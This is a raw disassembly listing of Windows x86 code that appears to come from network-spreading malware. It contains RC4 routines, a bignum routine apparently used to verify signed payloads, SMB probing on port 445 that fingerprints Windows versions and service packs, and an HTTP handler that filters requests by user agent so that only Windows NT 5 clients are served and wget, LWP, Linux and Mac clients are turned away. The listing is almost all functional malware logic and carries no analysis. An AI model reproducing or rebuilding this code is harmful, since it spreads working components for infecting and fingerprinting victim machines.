loc_9AF0E6:				; CODE XREF: sub_9AEECE+38j
					; sub_9AEECE+43j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	__SEH_epilog
		retn
sub_9AEECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AF0F0	proc near		; CODE XREF: sub_9AF1A2+16p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	[eax], edx
		mov	[eax+4], edx
		xor	ecx, ecx


loc_9AF0FF:				; CODE XREF: sub_9AF0F0+1Aj
		mov	[eax+ecx*4+8], ecx
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_9AF0FF
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		mov	[ebp+arg_0], edx


loc_9AF114:				; CODE XREF: sub_9AF0F0+56j
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	bl, [esi+ebx]
		add	bl, dl
		lea	edi, [eax+ecx*4+8]
		mov	ecx, [edi]
		add	bl, cl
		movzx	edx, bl
		mov	ebx, [eax+edx*4+8]
		inc	esi
		cmp	esi, [ebp+arg_8]
		mov	[edi], ebx
		mov	[eax+edx*4+8], ecx
		jl	short loc_9AF13C
		xor	esi, esi


loc_9AF13C:				; CODE XREF: sub_9AF0F0+48j
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 100h
		jl	short loc_9AF114
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_9AF0F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AF14D	proc near		; CODE XREF: sub_9AF1A2+28p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ebx
		mov	ebx, [eax]
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		jle	short loc_9AF199
		push	esi


loc_9AF162:				; CODE XREF: sub_9AF14D+49j
		inc	bl
		movzx	ebx, bl
		mov	edx, [eax+ebx*4+8]
		add	cl, dl
		movzx	ecx, cl
		lea	esi, [eax+ecx*4+8]
		mov	[ebp+arg_0], ecx
		mov	ecx, [esi]
		mov	[eax+ebx*4+8], ecx
		add	cl, dl
		mov	[esi], edx
		mov	esi, [ebp+arg_4]
		movzx	ecx, cl
		mov	cl, [eax+ecx*4+8]
		add	esi, edi
		xor	[esi], cl
		mov	ecx, [ebp+arg_0]
		inc	edi
		cmp	edi, [ebp+arg_8]
		jl	short loc_9AF162
		pop	esi


loc_9AF199:				; CODE XREF: sub_9AF14D+12j
		pop	edi
		mov	[eax], ebx
		mov	[eax+4], ecx
		pop	ebx
		pop	ebp
		retn
sub_9AF14D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AF1A2	proc near		; CODE XREF: sub_9AF464+98p
					; sub_9B0216+4Cp ...

var_408		= byte ptr -408h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	[ebp+arg_C]
		lea	eax, [ebp+var_408]
		push	[ebp+arg_8]
		push	eax
		call	sub_9AF0F0
		push	[ebp+arg_4]
		lea	eax, [ebp+var_408]
		push	[ebp+arg_0]
		push	eax
		call	sub_9AF14D
		add	esp, 18h
		leave
		retn
sub_9AF1A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AF1D4	proc near		; CODE XREF: sub_9AF22E+3Ep
					; sub_9AF22E+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	ecx, 80h


loc_9AF1E5:				; CODE XREF: sub_9AF1D4+1Ej
		mov	eax, [esi+ecx*4]
		mov	ebx, [edi+ecx*4]
		cmp	eax, ebx
		jb	short loc_9AF1F8
		ja	short loc_9AF1FF
		dec	ecx
		jns	short loc_9AF1E5
		xor	eax, eax
		jmp	short loc_9AF204
; ---------------------------------------------------------------------------


loc_9AF1F8:				; CODE XREF: sub_9AF1D4+19j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_9AF204
; ---------------------------------------------------------------------------


loc_9AF1FF:				; CODE XREF: sub_9AF1D4+1Bj
		mov	eax, 1


loc_9AF204:				; CODE XREF: sub_9AF1D4+22j
					; sub_9AF1D4+29j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_9AF1D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AF209	proc near		; CODE XREF: sub_9AF22E+13p
					; sub_9AF2F1+38p

arg_0		= dword	ptr  4

		mov	eax, 101Fh
		push	esi


loc_9AF20F:				; CODE XREF: sub_9AF209+1Fj
		mov	esi, [esp+4+arg_0]
		mov	edx, eax
		shr	edx, 5
		mov	edx, [esi+edx*4]
		mov	ecx, eax
		and	ecx, 1Fh
		shr	edx, cl
		test	dl, 1
		jnz	short loc_9AF22C
		dec	eax
		jns	short loc_9AF20F
		xor	eax, eax


loc_9AF22C:				; CODE XREF: sub_9AF209+1Cj
		pop	esi
		retn
sub_9AF209	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AF22E(void *Dst,int,int)

sub_9AF22E	proc near		; CODE XREF: sub_9AF2F1+74p
					; sub_9AF2F1+A1p

Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	204h		; Size
		push	0		; Val
		push	[ebp+Dst]	; Dst
		call	memset
		push	ebx
		call	sub_9AF209
		mov	edx, eax
		add	esp, 10h
		test	edx, edx
		jl	loc_9AF2EF
		push	esi
		push	edi


loc_9AF255:				; CODE XREF: sub_9AF22E+B9j
		mov	edi, [ebp+Dst]
		xor	eax, eax
		mov	ecx, 81h


loc_9AF25F:				; CODE XREF: sub_9AF22E+36j
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_9AF25F
		push	[ebp+arg_8]
		push	[ebp+Dst]
		call	sub_9AF1D4
		test	eax, eax
		pop	ecx
		pop	ecx
		jl	short loc_9AF290
		mov	edi, [ebp+Dst]
		mov	esi, [ebp+arg_8]
		xor	eax, eax
		mov	ecx, 81h


loc_9AF284:				; CODE XREF: sub_9AF22E+60j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_9AF284


loc_9AF290:				; CODE XREF: sub_9AF22E+47j
		mov	eax, edx
		shr	eax, 5
		mov	eax, [ebx+eax*4]
		mov	ecx, edx
		and	ecx, 1Fh
		shr	eax, cl
		test	al, 1
		jz	short loc_9AF2E6
		mov	edi, [ebp+Dst]
		mov	esi, [ebp+arg_4]
		mov	ecx, 81h
		xor	eax, eax


loc_9AF2B0:				; CODE XREF: sub_9AF22E+8Cj
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_9AF2B0
		push	[ebp+arg_8]
		push	[ebp+Dst]
		call	sub_9AF1D4
		test	eax, eax
		pop	ecx
		pop	ecx
		jl	short loc_9AF2E6
		mov	edi, [ebp+Dst]
		mov	esi, [ebp+arg_8]
		xor	eax, eax
		mov	ecx, 81h


loc_9AF2DA:				; CODE XREF: sub_9AF22E+B6j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_9AF2DA


loc_9AF2E6:				; CODE XREF: sub_9AF22E+73j
					; sub_9AF22E+9Dj
		dec	edx
		jns	loc_9AF255
		pop	edi
		pop	esi


loc_9AF2EF:				; CODE XREF: sub_9AF22E+1Fj
		pop	ebp
		retn
sub_9AF22E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AF2F1	proc near		; CODE XREF: sub_9AF3B9+89p

var_410		= byte ptr -410h
Dst		= byte ptr -20Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 410h
		push	esi
		push	200h		; Size
		lea	eax, [edi+4]
		push	0		; Val
		push	eax		; Dst
		mov	dword ptr [edi], 1
		call	memset
		mov	esi, 204h
		push	esi		; Size
		push	[ebp+Src]	; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memcpy
		push	[ebp+arg_4]
		call	sub_9AF209
		and	[ebp+var_4], 0
		add	esp, 1Ch
		test	eax, eax
		mov	[ebp+var_8], eax
		jl	short loc_9AF3B6
		push	ebx


loc_9AF33D:				; CODE XREF: sub_9AF2F1+C2j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	eax, ecx
		shr	eax, 5
		mov	eax, [edx+eax*4]
		and	ecx, 1Fh
		shr	eax, cl
		test	al, 1
		jz	short loc_9AF37B
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+var_410]
		push	edi		; int
		push	eax		; Dst
		lea	ebx, [ebp+Dst]
		call	sub_9AF22E
		push	esi		; Size
		lea	eax, [ebp+var_410]
		push	eax		; Src
		push	edi		; Dst
		call	memcpy
		add	esp, 18h


loc_9AF37B:				; CODE XREF: sub_9AF2F1+61j
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dst]
		push	eax		; int
		lea	eax, [ebp+var_410]
		push	eax		; Dst
		lea	ebx, [ebp+Dst]
		call	sub_9AF22E
		push	esi		; Size
		lea	eax, [ebp+var_410]
		push	eax		; Src
		mov	eax, ebx
		push	eax		; Dst
		call	memcpy
		add	esp, 18h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jle	short loc_9AF33D
		pop	ebx


loc_9AF3B6:				; CODE XREF: sub_9AF2F1+49j
		pop	esi
		leave
		retn
sub_9AF2F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AF3B9(void *Src,int,int,int)

sub_9AF3B9	proc near		; CODE XREF: sub_9AF464+4Fp

var_810		= byte ptr -810h
var_611		= byte ptr -611h
var_60C		= byte ptr -60Ch
var_408		= byte ptr -408h
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
Dst		= byte ptr -200h
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 810h
		mov	eax, [ebp+arg_4]
		push	esi
		push	edi
		mov	esi, 200h
		push	esi		; Size
		mov	[ebp+var_204], eax
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	memset
		push	204h		; Size
		lea	eax, [ebp+var_60C]
		push	0		; Val
		push	eax		; Dst
		call	memset
		push	esi		; Size
		push	[ebp+Src]	; Src
		lea	eax, [ebp+var_60C]
		push	eax		; Dst
		call	memcpy
		mov	eax, [ebp+arg_C]
		and	[ebp+var_208], 0
		add	esp, 24h
		xor	ecx, ecx
		add	eax, 1FFh


loc_9AF418:				; CODE XREF: sub_9AF3B9+6Cj
		mov	dl, [eax]
		mov	[ebp+ecx+var_408], dl
		inc	ecx
		dec	eax
		cmp	ecx, esi
		jl	short loc_9AF418
		lea	eax, [ebp+var_60C]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		lea	edi, [ebp+var_810]
		call	sub_9AF2F1
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_611]


loc_9AF452:				; CODE XREF: sub_9AF3B9+A5j
		mov	dl, [eax]
		mov	edi, [ebp+arg_8]
		mov	[ecx+edi], dl
		inc	ecx
		dec	eax
		cmp	ecx, esi
		jl	short loc_9AF452
		pop	edi
		pop	esi
		leave
		retn
sub_9AF3B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AF464(void *Src,int,int,int,int)

sub_9AF464	proc near		; CODE XREF: sub_9A86E4+3Ep
					; sub_9A89A9+52p ...

Buf1		= byte ptr -400h
var_3FF		= byte ptr -3FFh
Dst		= byte ptr -3FEh
var_240		= byte ptr -240h
Buf2		= byte ptr -200h
var_80		= byte ptr -80h
var_40		= byte ptr -40h
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	1FEh		; Size
		lea	eax, [ebp+Dst]
		push	0FFh		; Val
		push	eax		; Dst
		mov	[ebp+Buf1], 0
		mov	[ebp+var_3FF], 1
		call	memset
		lea	eax, [ebp+var_240]
		push	eax		; Dst
		push	[ebp+arg_10]	; int
		push	[ebp+arg_C]	; int
		call	sub_9B6BB9
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Buf2]
		push	eax		; int
		push	[ebp+arg_4]	; int
		push	[ebp+Src]	; Src
		call	sub_9AF3B9
		push	180h		; Size
		lea	eax, [ebp+Buf2]
		push	eax		; Buf2
		lea	eax, [ebp+Buf1]
		push	eax		; Buf1
		call	memcmp
		add	esp, 34h
		test	eax, eax
		jnz	short loc_9AF529
		push	40h		; Size
		lea	eax, [ebp+var_40]
		push	eax		; Buf2
		lea	eax, [ebp+var_240]
		push	eax		; Buf1
		call	memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9AF529
		push	40h
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	sub_9AF1A2
		lea	eax, [ebp+var_40]
		push	eax		; Dst
		push	[ebp+arg_10]	; int
		push	[ebp+arg_C]	; int
		call	sub_9B6BB9
		push	40h		; Size
		lea	eax, [ebp+var_40]
		push	eax		; Buf2
		lea	eax, [ebp+var_80]
		push	eax		; Buf1
		call	memcmp
		add	esp, 28h
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_9AF529:				; CODE XREF: sub_9AF464+71j
					; sub_9AF464+8Aj
		xor	al, al
		leave
		retn
sub_9AF464	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AF52D(int,u_short netshort)

sub_9AF52D	proc near		; CODE XREF: sub_9AAB69+9p

var_3C		= dword	ptr -3Ch
s		= dword	ptr -2Ch
var_28		= dword	ptr -28h
len		= dword	ptr -24h
hMem		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
netshort	= word ptr  0Ch

		push	1Ch
		push	offset stru_9A4AD0
		call	__SEH_prolog
		or	ebx, 0FFFFFFFFh
		mov	[ebp+var_1C], ebx
		mov	[ebp+s], ebx
		xor	edi, edi
		mov	[ebp+hMem], edi
		mov	[ebp+ms_exc.disabled], edi
		push	6		; protocol
		push	1		; type
		push	2		; af
		call	socket
		mov	esi, eax
		mov	[ebp+s], esi
		cmp	esi, 0FFFFFFFFh
		jz	loc_9AF790
		push	4		; int
		push	dword ptr [ebp+netshort] ; netshort
		push	[ebp+arg_0]	; int
		push	esi		; fd
		call	sub_9AC9D5
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_9AF790
		cmp	[ebp+netshort],	1BDh
		jz	short loc_9AF5CE
		push	7		; int
		push	48h		; int
		push	offset unk_9A4988 ; int
		push	esi		; s
		call	sub_9AC931
		add	esp, 10h
		cmp	eax, 48h
		jnz	loc_9AF790
		push	7		; int
		lea	eax, [ebp+len]
		push	eax		; len
		push	esi		; s
		call	sub_9AC864
		add	esp, 0Ch
		mov	[ebp+hMem], eax
		cmp	eax, edi
		jz	loc_9AF790
		cmp	[ebp+len], edi
		jz	loc_9AF790
		push	eax		; hMem
		call	GlobalFree
		mov	[ebp+hMem], edi


loc_9AF5CE:				; CODE XREF: sub_9AF52D+57j
		push	7
		pop	edi
		push	edi		; int
		push	33h		; int
		push	offset dword_9A49D4 ; int
		push	esi		; s
		call	sub_9AC931
		add	esp, 10h
		cmp	eax, 33h
		jnz	loc_9AF790
		push	edi		; int
		lea	eax, [ebp+len]
		push	eax		; len
		push	esi		; s
		call	sub_9AC864
		add	esp, 0Ch
		mov	[ebp+hMem], eax
		test	eax, eax
		jz	loc_9AF790
		cmp	[ebp+len], 0
		jz	loc_9AF790
		push	eax		; hMem
		call	GlobalFree
		and	[ebp+hMem], 0
		push	edi		; int
		push	4Dh		; int
		push	offset dword_9A4A08 ; int
		push	esi		; s
		call	sub_9AC931
		add	esp, 10h
		cmp	eax, 4Dh
		jnz	loc_9AF790
		push	edi		; int
		lea	eax, [ebp+len]
		push	eax		; len
		push	esi		; s
		call	sub_9AC864
		add	esp, 0Ch
		mov	[ebp+hMem], eax
		test	eax, eax
		jz	loc_9AF790
		mov	eax, [ebp+len]
		test	eax, eax
		jz	loc_9AF753


loc_9AF657:				; CODE XREF: sub_9AF52D+13Ej
		dec	eax
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+hMem]
		test	eax, eax
		jz	loc_9AF790
		cmp	byte ptr [eax+ecx-1], 0
		jnz	short loc_9AF657
		test	eax, eax
		jz	loc_9AF790


loc_9AF675:				; CODE XREF: sub_9AF52D+159j
		dec	eax
		mov	[ebp+var_28], eax
		test	eax, eax
		jz	loc_9AF790
		cmp	byte ptr [eax+ecx-1], 0
		jnz	short loc_9AF675
		test	eax, eax
		jz	loc_9AF790


loc_9AF690:				; CODE XREF: sub_9AF52D+174j
		dec	eax
		mov	[ebp+var_28], eax
		test	eax, eax
		jz	loc_9AF790
		cmp	byte ptr [eax+ecx-1], 0
		jnz	short loc_9AF690
		test	eax, eax
		jz	loc_9AF790
		lea	edi, [eax+ecx]
		push	edi		; SubStr
		call	_strlwr
		mov	[esp+3Ch+var_3C], offset aVista	; "vista"
		push	edi		; Str
		mov	esi, strstr
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_9AF6FB
		push	offset aServicePack1 ; "service	pack 1"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_9AF6E0
		push	9
		jmp	loc_9AF78C
; ---------------------------------------------------------------------------


loc_9AF6E0:				; CODE XREF: sub_9AF52D+1AAj
		push	offset aServicePack ; "service pack"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		mov	ebx, eax
		neg	ebx
		sbb	ebx, ebx
		and	ebx, 2
		add	ebx, 8
		jmp	loc_9AF78D
; ---------------------------------------------------------------------------


loc_9AF6FB:				; CODE XREF: sub_9AF52D+19Cj
		push	offset aWindowsServer2 ; "windows server 2003"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_9AF745
		push	offset aServicePack1 ; "service	pack 1"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_9AF71B
		push	5
		jmp	short loc_9AF78C
; ---------------------------------------------------------------------------


loc_9AF71B:				; CODE XREF: sub_9AF52D+1E8j
		push	offset aServicePack2 ; "service	pack 2"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_9AF72D
		push	6
		jmp	short loc_9AF78C
; ---------------------------------------------------------------------------


loc_9AF72D:				; CODE XREF: sub_9AF52D+1FAj
		push	offset aServicePack ; "service pack"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		mov	ebx, eax
		neg	ebx
		sbb	ebx, ebx
		and	ebx, 3
		add	ebx, 4
		jmp	short loc_9AF78D
; ---------------------------------------------------------------------------


loc_9AF745:				; CODE XREF: sub_9AF52D+1DAj
		push	offset aWindows5_1 ; "windows 5.1"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_9AF757


loc_9AF753:				; CODE XREF: sub_9AF52D+124j
		push	3
		jmp	short loc_9AF78C
; ---------------------------------------------------------------------------


loc_9AF757:				; CODE XREF: sub_9AF52D+224j
		push	offset aWindows5_0 ; "windows 5.0"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_9AF769
		push	2
		jmp	short loc_9AF78C
; ---------------------------------------------------------------------------


loc_9AF769:				; CODE XREF: sub_9AF52D+236j
		push	offset aWindows4_0 ; "windows 4.0"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_9AF77C
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_9AF78D
; ---------------------------------------------------------------------------


loc_9AF77C:				; CODE XREF: sub_9AF52D+248j
		push	offset aUnix	; "unix"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_9AF790
		push	0Bh


loc_9AF78C:				; CODE XREF: sub_9AF52D+1AEj
					; sub_9AF52D+1ECj ...
		pop	ebx


loc_9AF78D:				; CODE XREF: sub_9AF52D+1C9j
					; sub_9AF52D+216j ...
		mov	[ebp+var_1C], ebx


loc_9AF790:				; CODE XREF: sub_9AF52D+31j
					; sub_9AF52D+4Bj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_9AF7A4
; ---------------------------------------------------------------------------


loc_9AF796:				; DATA XREF: .text:stru_9A4AD0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AF79A:				; DATA XREF: .text:stru_9A4AD0o
		mov	esp, [ebp+ms_exc.old_esp]
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_9AF7A4:				; CODE XREF: sub_9AF52D+267j
		cmp	[ebp+hMem], 0
		jz	short loc_9AF7B3
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9AF7B3:				; CODE XREF: sub_9AF52D+27Bj
		cmp	[ebp+s], 0FFFFFFFFh
		jz	short loc_9AF7CD
		push	1		; how
		push	[ebp+s]		; s
		call	shutdown
		push	[ebp+s]		; s
		call	closesocket


loc_9AF7CD:				; CODE XREF: sub_9AF52D+28Aj
		mov	eax, ebx
		call	__SEH_epilog
		retn
sub_9AF52D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9AF7D5(LPVOID)

sub_9AF7D5	proc near		; DATA XREF: sub_9AFD0A+13Bo

var_49C		= byte ptr -49Ch
var_29D		= byte ptr -29Dh
Buf2		= byte ptr -29Ch
var_9D		= byte ptr -9Dh
Str		= byte ptr -9Ch
var_5D		= byte ptr -5Dh
name		= sockaddr ptr -5Ch
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
netlong		= dword	ptr -38h
hMem		= dword	ptr -34h
s		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
len		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	48Ch
		push	offset stru_9A4BA0
		call	__SEH_prolog
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_44], eax
		mov	esi, [eax]
		mov	[ebp+s], esi
		mov	eax, [eax+4]
		mov	[ebp+netlong], eax
		xor	ebx, ebx
		mov	[ebp+var_40], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+len], 10h
		call	sub_9AC50B
		mov	[ebp+ms_exc.disabled], ebx
		lea	eax, [ebp+len]
		push	eax		; namelen
		lea	eax, [ebp+name]
		push	eax		; name
		push	esi		; s
		call	getsockname
		cmp	eax, 0FFFFFFFFh
		jz	short loc_9AF829
		mov	eax, dword ptr [ebp+name.sa_data+2]
		mov	[ebp+var_40], eax


loc_9AF829:				; CODE XREF: sub_9AF7D5+4Cj
		push	7		; int
		lea	eax, [ebp+len]
		push	eax		; len
		push	esi		; s
		call	sub_9AC864
		add	esp, 0Ch
		mov	edi, eax
		mov	[ebp+var_28], edi
		cmp	edi, ebx
		jz	loc_9AFBDF
		push	offset dword_9BB2D0
		mov	esi, offset aGetSHttp ;	"get /%s http/"
		push	esi		; Format
		push	200h		; Count
		lea	eax, [ebp+Buf2]
		push	eax		; Dest
		mov	ebx, _snprintf
		call	ebx ; _snprintf
		mov	[ebp+var_9D], 0
		push	offset dword_9BB2E8
		push	esi		; Format
		push	40h		; Count
		lea	eax, [ebp+Str]
		push	eax		; Dest
		call	ebx ; _snprintf
		mov	[ebp+var_5D], 0
		push	offset dword_9BB2DC
		push	esi		; Format
		push	200h		; Count
		lea	eax, [ebp+var_49C]
		push	eax		; Dest
		call	ebx ; _snprintf
		add	esp, 30h
		mov	[ebp+var_29D], 0
		mov	eax, [ebp+len]
		test	eax, eax
		jz	short loc_9AF8B2
		mov	byte ptr [eax+edi-1], 0
		push	edi		; Str
		call	_strlwr
		pop	ecx


loc_9AF8B2:				; CODE XREF: sub_9AF7D5+CEj
		lea	eax, [ebp+Buf2]
		push	eax		; Str
		call	strlen
		pop	ecx
		cmp	[ebp+len], eax
		jle	short loc_9AF8F1
		lea	eax, [ebp+Buf2]
		push	eax		; Str
		call	strlen
		push	eax		; Size
		lea	eax, [ebp+Buf2]
		push	eax		; Buf2
		push	edi		; Buf1
		call	memcmp
		add	esp, 10h
		test	eax, eax
		jnz	short loc_9AF8F1
		mov	[ebp+var_1C], 1
		jmp	loc_9AF976
; ---------------------------------------------------------------------------


loc_9AF8F1:				; CODE XREF: sub_9AF7D5+EDj
					; sub_9AF7D5+10Ej
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	strlen
		pop	ecx
		cmp	[ebp+len], eax
		jle	short loc_9AF92D
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	strlen
		push	eax		; Size
		lea	eax, [ebp+Str]
		push	eax		; Buf2
		push	edi		; Buf1
		call	memcmp
		add	esp, 10h
		test	eax, eax
		jnz	short loc_9AF92D
		mov	[ebp+var_1C], 2
		jmp	short loc_9AF976
; ---------------------------------------------------------------------------


loc_9AF92D:				; CODE XREF: sub_9AF7D5+12Cj
					; sub_9AF7D5+14Dj
		lea	eax, [ebp+var_49C]
		push	eax		; Str
		call	strlen
		pop	ecx
		cmp	[ebp+len], eax
		jle	short loc_9AF976
		lea	eax, [ebp+var_49C]
		push	eax		; Str
		call	strlen
		push	eax		; Size
		lea	eax, [ebp+var_49C]
		push	eax		; Buf2
		push	edi		; Buf1
		call	memcmp
		add	esp, 10h
		test	eax, eax
		jnz	short loc_9AF976
		push	offset CriticalSection
		call	sub_9A8BBE
		pop	ecx
		test	eax, eax
		jz	short loc_9AF976
		mov	[ebp+var_1C], 3


loc_9AF976:				; CODE XREF: sub_9AF7D5+117j
					; sub_9AF7D5+156j ...
		cmp	[ebp+var_1C], 0
		jz	loc_9AFBDF
		xor	esi, esi
		inc	esi
		mov	[ebp+var_2C], esi
		push	[ebp+netlong]	; netlong
		call	sub_9A9DA6
		pop	ecx
		test	eax, eax
		jnz	loc_9AFA36
		cmp	[ebp+var_1C], esi
		jz	short loc_9AF9A6
		cmp	[ebp+var_1C], 3
		jnz	loc_9AFA65


loc_9AF9A6:				; CODE XREF: sub_9AF7D5+1C5j
		push	offset asc_9A4B88 ; "\r\n\r"
		push	edi		; Str
		mov	esi, strstr
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_9AFA65
		push	offset aUserAgent ; "\r\nuser-agent:"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_4C], edi
		test	edi, edi
		jz	short loc_9AFA33
		push	offset asc_9A4200 ; "\r\n"
		lea	eax, [edi+2]
		push	eax		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_48], eax
		test	eax, eax
		jz	short loc_9AFA33
		mov	byte ptr [eax],	0
		push	offset aWindowsNt5_ ; "windows nt 5."
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_9AFA33
		push	offset aWget	; "wget"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_9AFA33
		push	offset aLwp	; "lwp::"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_9AFA33
		push	offset aLinux	; "linux"
		push	edi		; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_9AFA33
		push	offset aMacintosh ; "macintosh"
		push	[ebp+var_28]	; Str
		call	esi ; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_9AFA33
		and	[ebp+var_2C], eax


loc_9AFA33:				; CODE XREF: sub_9AF7D5+1FAj
					; sub_9AF7D5+20Ej ...
		mov	edi, [ebp+var_28]


loc_9AFA36:				; CODE XREF: sub_9AF7D5+1BCj
					; sub_9AF7D5+294j
		xor	esi, esi
		cmp	[ebp+var_2C], esi
		jnz	short loc_9AFA80
		cmp	[ebp+var_1C], 3
		jnz	short loc_9AFA6B
		lea	eax, [ebp+var_24]
		push	eax		; int
		lea	eax, [ebp+hMem]
		push	eax		; int
		push	offset CriticalSection ; lpCriticalSection
		call	sub_9A8CB7
